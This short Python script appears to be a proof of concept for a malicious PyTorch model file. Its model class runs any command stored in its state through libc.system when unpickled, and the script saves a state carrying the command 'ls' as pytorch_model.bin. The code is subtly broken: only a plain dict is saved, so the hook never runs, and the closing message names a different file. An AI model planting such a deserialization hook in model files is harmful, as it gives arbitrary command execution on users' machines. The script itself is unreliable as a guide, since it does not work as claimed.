|
import torch |
|
import torch.nn as nn |
|
import json |
|
import ctypes |
|
|
|
class MyModel(nn.Module): |
|
def __init__(self): |
|
super(MyModel, self).__init__() |
|
self.dummy_layer = nn.Linear(10, 10) |
|
|
|
def forward(self, x): |
|
return self.dummy_layer(x) |
|
|
|
def __setstate__(self, state): |
|
super().__setstate__(state) |
|
|
|
command = state.get('command') |
|
if command: |
|
libc = ctypes.CDLL("libc.so.6") |
|
result = libc.system(command.encode('utf-8')) |
|
print(f"Command '{command}' executed with result code {result}") |
|
|
|
|
|
model = MyModel() |
|
|
|
|
|
command = "ls" |
|
|
|
|
|
state = { |
|
'model_state': model.state_dict(), |
|
'command': command |
|
} |
|
|
|
|
|
torch.save(state, 'pytorch_model.bin') |
|
|
|
print("Model and command metadata saved to 'model_with_command.bin'") |
|
|